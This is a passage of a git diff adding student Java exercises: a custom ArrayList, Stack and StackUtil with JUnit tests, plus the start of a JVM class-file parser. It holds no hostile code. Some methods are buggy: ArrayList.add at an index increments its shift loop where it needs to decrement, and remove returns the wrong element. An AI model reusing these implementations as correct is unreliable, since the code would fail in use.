+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+    
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}
diff --git a/group17/102228177/work4_09/src/com/coding/basic/stack/ArrayList.java b/group17/102228177/work4_09/src/com/coding/basic/stack/ArrayList.java
new file mode 100644
index 0000000000..320a747606
--- /dev/null
+++ b/group17/102228177/work4_09/src/com/coding/basic/stack/ArrayList.java
@@ -0,0 +1,150 @@
+package com.coding.basic.stack;
+
+
+
+import java.util.ConcurrentModificationException;
+import java.util.NoSuchElementException;
+
+
+public class ArrayList implements List{
+	public static final int defLen = 10;
+	private Object[] elements;
+	private int size;
+	private int maxLen;
+	
+	public ArrayList(){
+		size = 0;
+		maxLen = defLen;
+		elements = new Object[defLen];
+	}
+	
+	/**
+	 * 在ArrayList末尾处追加元素
+	 * @param o 添加的元素
+	 */
+	public void add(Object o){
+		if(size >= maxLen){
+			grow();
+		}
+		elements[size] = o;
+		size++;
+	}
+	
+	/**
+	 * 数组扩容
+	 */
+	private void grow(){
+		maxLen = maxLen + (maxLen >> 1);
+		Object[] newArr = new Object[maxLen];
+		System.arraycopy(elements, 0, newArr, 0, size);
+		elements = newArr;
+	}
+	
+	/**
+	 * 在指定索引处添加元素
+	 * @param i 指定索引
+	 * @param o 添加元素
+	 */
+	public void add(int i,Object o){
+		//判断插入位置大于数组实际长度
+		if(i > size){
+			size = i;
+			if(size >= maxLen){//数组大小大于数组最大容量则需要扩容
+				grow();
+			}
+		}
+		//插入位置不大于数组实际长度时，将插入位置的元素向后移。
+		for (int j = size; j > i ; j++) {
+			elements[j] = elements[j-1];
+		}
+		elements[i] = o;
+		size++;
+	}
+	
+	/**
+	 * 获取传入索引的元素
+	 * @param index 索引
+	 * @return 返回传入索引的元素
+	 */
+	public Object get(int index){
+		//索引不在实际范围内
+		if(index < 0||index >= size){
+			throw new ArrayIndexOutOfBoundsException();
+		}
+		for (int i = 0; i < size; i++) {
+			return elements[index];
+		}
+		return null;
+	}
+	
+	/**
+	 * 删除指定索引元素并返回
+	 * @param index
+	 * @return 该索引处元素
+	 */
+	public Object remove(int index){
+		//索引不在实际范围内
+		if(index < 0||index >= size){
+			throw new ArrayIndexOutOfBoundsException();
+		}else{
+			for (int j = index; j < size-1; j++) {
+				elements[j]=elements[j+1];
+			}
+			size--;
+			return elements[index];
+		}
+	}
+	
+	/**
+	 * 获取大小
+	 * @return 
+	 */
+	public int size(){
+		return size;
+	}
+	
+	public Iterator iterator(){
+		return new ArrayListIterator();
+	}
+	
+	private class ArrayListIterator implements Iterator{
+		int cursor;
+		
+		@Override
+		public boolean hasNext() {
+			return cursor != size;
+		}
+
+		@Override
+		public Object next() {
+			int i = cursor;
+			if(i >= size){
+                throw new NoSuchElementException();
+			}
+			if (i >= elements.length){
+				throw new ConcurrentModificationException();
+			}
+			cursor = i+1;        
+			return elements[i];
+		}
+	}
+	
+	public static void main(String[] args) {
+		ArrayList list = new ArrayList();
+		list.add(0);
+		list.add(1);
+		list.add(2);
+		list.add(3);
+		list.add(4);
+		list.add(6, 6);
+		list.remove(3);
+		for (int i = 0; i < list.size(); i++) {
+			System.out.println(i+":"+list.get(i));
+		}
+		
+		Iterator it =  list.iterator();
+		while (it.hasNext()) {
+			System.out.println(it.next());
+		}
+	}
+}
diff --git a/group17/102228177/work4_09/src/com/coding/basic/stack/Iterator.java b/group17/102228177/work4_09/src/com/coding/basic/stack/Iterator.java
new file mode 100644
index 0000000000..f51a971a1c
--- /dev/null
+++ b/group17/102228177/work4_09/src/com/coding/basic/stack/Iterator.java
@@ -0,0 +1,8 @@
+package com.coding.basic.stack;
+
+public interface Iterator {
+	
+	public boolean hasNext();
+	public Object next();
+
+}
\ No newline at end of file
diff --git a/group17/102228177/work4_09/src/com/coding/basic/stack/List.java b/group17/102228177/work4_09/src/com/coding/basic/stack/List.java
new file mode 100644
index 0000000000..2d2c693e0d
--- /dev/null
+++ b/group17/102228177/work4_09/src/com/coding/basic/stack/List.java
@@ -0,0 +1,10 @@
+package com.coding.basic.stack;
+
+public interface List {
+	
+	public void add(Object o);
+	public void add(int index, Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+}
\ No newline at end of file
diff --git a/group17/102228177/work4_09/src/com/coding/basic/stack/Stack.java b/group17/102228177/work4_09/src/com/coding/basic/stack/Stack.java
new file mode 100644
index 0000000000..42b6362e2f
--- /dev/null
+++ b/group17/102228177/work4_09/src/com/coding/basic/stack/Stack.java
@@ -0,0 +1,48 @@
+package com.coding.basic.stack;
+
+import java.util.EmptyStackException;
+
+public class Stack {
+	private ArrayList elementData;
+	private int elementCount;
+	
+	public Stack() {
+		this.elementData = new ArrayList();
+		this.elementCount = 0;
+	}
+	public void push(Object o){
+		elementData.add(o);
+		elementCount++;
+	}
+	
+	public Object pop(){
+		Object object = elementData.remove(elementCount-1);
+		elementCount--;
+		return object;
+	}
+	
+	public Object peek(){
+		if(isEmpty()){
+			 throw new EmptyStackException();
+		}
+		return elementData.get(elementCount-1);
+	}
+	public boolean isEmpty(){
+		return elementCount==0;
+	}
+	public int size(){
+		return elementCount;
+	}
+	
+	@Override
+	public String toString() {
+		StringBuilder sb = new StringBuilder();
+		sb.append("[");
+		for (int i = 0; i < elementData.size(); i++) {
+			sb.append(elementData.get(i)).append(",");
+		}
+		sb = sb.deleteCharAt(sb.length()-1);
+		sb.append("]");
+		return sb.toString();
+	}
+}
\ No newline at end of file
diff --git a/group17/102228177/work4_09/src/com/coding/basic/stack/StackUtil.java b/group17/102228177/work4_09/src/com/coding/basic/stack/StackUtil.java
new file mode 100644
index 0000000000..5b8019e2b7
--- /dev/null
+++ b/group17/102228177/work4_09/src/com/coding/basic/stack/StackUtil.java
@@ -0,0 +1,112 @@
+package com.coding.basic.stack;
+
+public class StackUtil {
+	
+	
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack s) {
+		if(s.isEmpty()){
+			return ;
+		}
+		int temp1 = (int) s.pop();
+		reverse(s);
+		if(s.isEmpty()){
+			s.push(temp1);
+			return ;
+		}
+		int temp2 = (int) s.pop();
+		reverse(s);
+		s.push(temp1);
+		reverse(s);
+		s.push(temp2);
+	}
+	
+
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	public static void remove(Stack s,Object o) {
+		if(s.isEmpty()){
+			return ;
+		}
+		Stack stack = new Stack();
+		while(!s.isEmpty()){
+			Object pop = s.pop();
+			if(!pop.equals(o)){
+				stack.push(pop);
+			}
+		}
+		while(!stack.isEmpty()){
+			s.push(stack.pop());
+		}
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack s,int len) {
+		int i = 0;
+		Stack stack = new Stack();
+		Object[] objects = new Object[len];
+		while(i < len){
+			Object o = s.pop();
+			stack.push(o);
+			objects[i] = o;
+			i++;
+		}
+		while(!stack.isEmpty()){
+			s.push(stack.pop());
+		}
+		return objects;
+	}
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s){
+		Stack stack = new Stack();
+		for (int i = 0; i < s.length(); i++) {
+			char c = s.charAt(i);
+			switch (c) {
+			case '(':
+			case '[':
+			case '{':
+				stack.push(c);
+				break;
+			case ')':
+				 if((char)stack.pop()!='('){
+			        return false;
+			      }
+			      break;
+			case ']':
+				 if((char)stack.pop()!='['){
+			        return false;
+			      }
+			      break;
+			case '}':
+				 if((char)stack.pop()!='{'){
+			        return false;
+			      }
+			      break;
+			}
+		}
+		if(stack.isEmpty()){
+			return true;
+		}
+		return false;
+	}
+	
+	
+}
\ No newline at end of file
diff --git a/group17/102228177/work4_09/src/com/coding/basic/stack/StackUtilTest.java b/group17/102228177/work4_09/src/com/coding/basic/stack/StackUtilTest.java
new file mode 100644
index 0000000000..722dd25846
--- /dev/null
+++ b/group17/102228177/work4_09/src/com/coding/basic/stack/StackUtilTest.java
@@ -0,0 +1,44 @@
+package com.coding.basic.stack;
+
+import static org.junit.Assert.*;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class StackUtilTest {
+	Stack stack ;
+	{
+		stack = new Stack();
+		stack.push(1);
+		stack.push(2);
+		stack.push(3);
+		stack.push(4);
+		stack.push(5);
+	}
+	@Before
+	public void setUp() throws Exception {
+		
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testReverse() {
+		StackUtil.reverse(stack);
+		Assert.assertEquals("[5,4,3,2,1]", stack.toString());
+	}
+	@Test
+	public void testRemove() {
+		StackUtil.remove(stack, 3);
+		Assert.assertEquals("[1,2,4,5]", stack.toString());
+	}
+	@Test
+	public void testGetTop(){
+		Assert.assertEquals(new Object[]{5,4}, StackUtil.getTop(stack, 2));
+		Assert.assertEquals("[1,2,3,4,5]", stack.toString());
+	}
+}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/attr/AttributeInfo.java b/group17/102228177/work4_16/src/com/coderising/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..88f60c77f6
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coderising/jvm/attr/AttributeInfo.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.attr;
+
+public abstract class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;				
+	int attrLen ;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+	
+	
+}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/attr/CodeAttr.java b/group17/102228177/work4_16/src/com/coderising/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..a334a13d81
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coderising/jvm/attr/CodeAttr.java
@@ -0,0 +1,116 @@
+package com.coderising.jvm.attr;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class CodeAttr extends AttributeInfo {
+	private int maxStack ;
+	private int maxLocals ;
+	private int codeLen ;
+	private String code;
+	public String getCode() {
+		return code;
+	}
+
+	//private ByteCodeCommand[] cmds ;
+	//public ByteCodeCommand[] getCmds() {
+	//	return cmds;
+	//}
+	private LineNumberTable lineNumTable;
+	private LocalVariableTable localVarTable;
+	private StackMapTable stackMapTable;
+	
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
+		super(attrNameIndex, attrLen);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.codeLen = codeLen;
+		this.code = code;
+		//this.cmds = cmds;
+	}
+
+	public void setLineNumberTable(LineNumberTable t) {
+		this.lineNumTable = t;
+	}
+
+	public void setLocalVariableTable(LocalVariableTable t) {
+		this.localVarTable = t;		
+	}
+	
+	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
+		
+		int attrNameIndex = iter.nextU2ToInt();
+		int attrLen = iter.nextU4ToInt();
+		int maxStack = iter.nextU2ToInt();
+		int maxLocals = iter.nextU2ToInt();
+		int codeLen = iter.nextU4ToInt();
+		
+		String code = iter.nextUxToHexString(codeLen);
+		
+		System.out.println(code);
+		
+		//ByteCodeCommand[] cmds = ByteCodeCommand.parse(clzFile,code);
+		
+		CodeAttr codeAttr = new CodeAttr(attrNameIndex,attrLen, maxStack,maxLocals,codeLen,code);
+		
+		int exceptionTableLen = iter.nextU2ToInt();
+		//TODO 处理exception
+		if(exceptionTableLen>0){
+			String exTable = iter.nextUxToHexString(exceptionTableLen);
+			System.out.println("Encountered exception table , just ignore it :" + exTable);
+			
+		}
+		
+		
+		int subAttrCount = iter.nextU2ToInt();
+		
+		for(int x=1; x<=subAttrCount; x++){
+			int subAttrIndex = iter.nextU2ToInt();
+			String subAttrName = clzFile.getConstantPool().getUTF8String(subAttrIndex);
+		
+			//已经向前移动了U2, 现在退回去。
+			iter.back(2);
+			//line item table
+			if(AttributeInfo.LINE_NUM_TABLE.equalsIgnoreCase(subAttrName)){
+				
+				LineNumberTable t = LineNumberTable.parse(iter);
+				codeAttr.setLineNumberTable(t);
+			}
+			else if(AttributeInfo.LOCAL_VAR_TABLE.equalsIgnoreCase(subAttrName)){
+				LocalVariableTable t = LocalVariableTable.parse(iter);
+				codeAttr.setLocalVariableTable(t);
+			} 
+			else if (AttributeInfo.STACK_MAP_TABLE.equalsIgnoreCase(subAttrName)){
+				StackMapTable t = StackMapTable.parse(iter);
+				codeAttr.setStackMapTable(t);
+			}
+			else{
+				throw new RuntimeException("Need code to process " + subAttrName);
+			}
+			
+			
+		}
+		
+		return codeAttr;
+	}
+	
+
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Code:").append(code).append("\n");
+		/*for(int i=0;i<cmds.length;i++){
+			buffer.append(cmds[i].toString(pool)).append("\n");
+		}*/
+		buffer.append("\n");
+		buffer.append(this.lineNumTable.toString());
+		buffer.append(this.localVarTable.toString(pool));
+		return buffer.toString();
+	}
+	private void setStackMapTable(StackMapTable t) {
+		this.stackMapTable = t;
+		
+	}
+
+}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/attr/LineNumberTable.java b/group17/102228177/work4_16/src/com/coderising/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..e3189959d7
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coderising/jvm/attr/LineNumberTable.java
@@ -0,0 +1,68 @@
+package com.coderising.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LineNumberTable extends AttributeInfo {
+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+	
+	private static class LineNumberItem{
+		int startPC;
+		int lineNum;
+		public int getStartPC() {
+			return startPC;
+		}
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+		public int getLineNum() {
+			return lineNum;
+		}
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
+		}
+	}
+	public void addLineNumberItem(LineNumberItem item){
+		this.items.add(item);
+	}
+	public LineNumberTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+		
+	}
+	
+	public static LineNumberTable parse(ByteCodeIterator iter){
+		
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+		
+		LineNumberTable table = new LineNumberTable(index,len);
+		
+		int itemLen = iter.nextU2ToInt();
+		
+		for(int i=1; i<=itemLen; i++){
+			LineNumberItem item = new LineNumberItem();
+			item.setStartPC(iter.nextU2ToInt());
+			item.setLineNum(iter.nextU2ToInt());
+			table.addLineNumberItem(item);
+		}
+		return table;
+	}
+	
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Line Number Table:\n");
+		for(LineNumberItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("lineNum:"+item.getLineNum()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+		
+	}
+	
+	
+
+}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/attr/LocalVariableItem.java b/group17/102228177/work4_16/src/com/coderising/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..962c3b8bc4
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coderising/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,39 @@
+package com.coderising.jvm.attr;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+	public int getStartPC() {
+		return startPC;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/attr/LocalVariableTable.java b/group17/102228177/work4_16/src/com/coderising/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..88f677b2c8
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coderising/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,58 @@
+package com.coderising.jvm.attr;
+
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ConstantPool;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LocalVariableTable extends AttributeInfo{
+
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+	
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+	
+	
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);		
+	}
+	
+	public static LocalVariableTable parse(ByteCodeIterator iter){
+		
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+		
+		LocalVariableTable table = new LocalVariableTable(index,len);
+		
+		int itemLen = iter.nextU2ToInt();
+		
+		for(int i=1; i<=itemLen; i++){
+			LocalVariableItem item = new LocalVariableItem();
+			item.setStartPC(iter.nextU2ToInt());
+			item.setLength(iter.nextU2ToInt());
+			item.setNameIndex(iter.nextU2ToInt());
+			item.setDescIndex(iter.nextU2ToInt());
+			item.setIndex(iter.nextU2ToInt());
+			table.addLocalVariableItem(item);
+		}
+		return table;
+	}
+	
+	
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Local Variable Table:\n");
+		for(LocalVariableItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
+			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+	}
+}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/attr/StackMapTable.java b/group17/102228177/work4_16/src/com/coderising/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..18f2ad0360
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coderising/jvm/attr/StackMapTable.java
@@ -0,0 +1,30 @@
+package com.coderising.jvm.attr;
+
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo{
+	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
+	public static StackMapTable parse(ByteCodeIterator iter){
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+		StackMapTable t = new StackMapTable(index,len);
+		
+		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+		String code = iter.nextUxToHexString(len);
+		t.setOriginalCode(code);
+		
+		return t;
+	}
+
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/clz/AccessFlag.java b/group17/102228177/work4_16/src/com/coderising/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..faae056835
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coderising/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/clz/ClassFile.java b/group17/102228177/work4_16/src/com/coderising/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..4755266987
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coderising/jvm/clz/ClassFile.java
@@ -0,0 +1,92 @@
+package com.coderising.jvm.clz;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	private List<Field> fields = new ArrayList<Field>();
+	private List<Method> methods = new ArrayList<Method>();
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	public void addField(Field f){
+		this.fields.add(f);
+	}
+	public List<Field> getFields(){
+		return this.fields;
+	}
+	public void addMethod(Method m){
+		this.methods.add(m);
+	}
+	public List<Method> getMethods() {
+		return methods;
+	}
+	
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	private String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	private String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/clz/ClassIndex.java b/group17/102228177/work4_16/src/com/coderising/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..e424f284b3
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coderising/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/constant/ClassInfo.java b/group17/102228177/work4_16/src/com/coderising/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..af1e6bc65f
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coderising/jvm/constant/ClassInfo.java
@@ -0,0 +1,33 @@
+package com.coderising.jvm.constant;
+
+/**
+
+ * @Description 类常量信息
+
+ * @author REEFE
+
+ * @time 2017年4月9日
+
+ */
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/constant/ConstantInfo.java b/group17/102228177/work4_16/src/com/coderising/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..855b581f95
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coderising/jvm/constant/ConstantInfo.java
@@ -0,0 +1,38 @@
+package com.coderising.jvm.constant;
+
+/**
+
+ * @Description 常见常量项
+
+ * @author REEFE
+
+ * @time 2017年4月9日
+
+ */
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/constant/ConstantPool.java b/group17/102228177/work4_16/src/com/coderising/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..d4f91262b8
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coderising/jvm/constant/ConstantPool.java
@@ -0,0 +1,39 @@
+package com.coderising.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+
+/**
+
+ * @Description:常量池
+
+ * @author:REEFE
+
+ * @time:2017年4月9日 
+
+ */
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
+	public ConstantPool(){
+		
+	}
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public Object getSize() {		
+		return this.constantInfos.size() -1;
+	}
+}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/constant/FieldRefInfo.java b/group17/102228177/work4_16/src/com/coderising/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..65475e194c
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coderising/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/constant/MethodRefInfo.java b/group17/102228177/work4_16/src/com/coderising/jvm/constant/MethodRefInfo.java
new file mode 100644
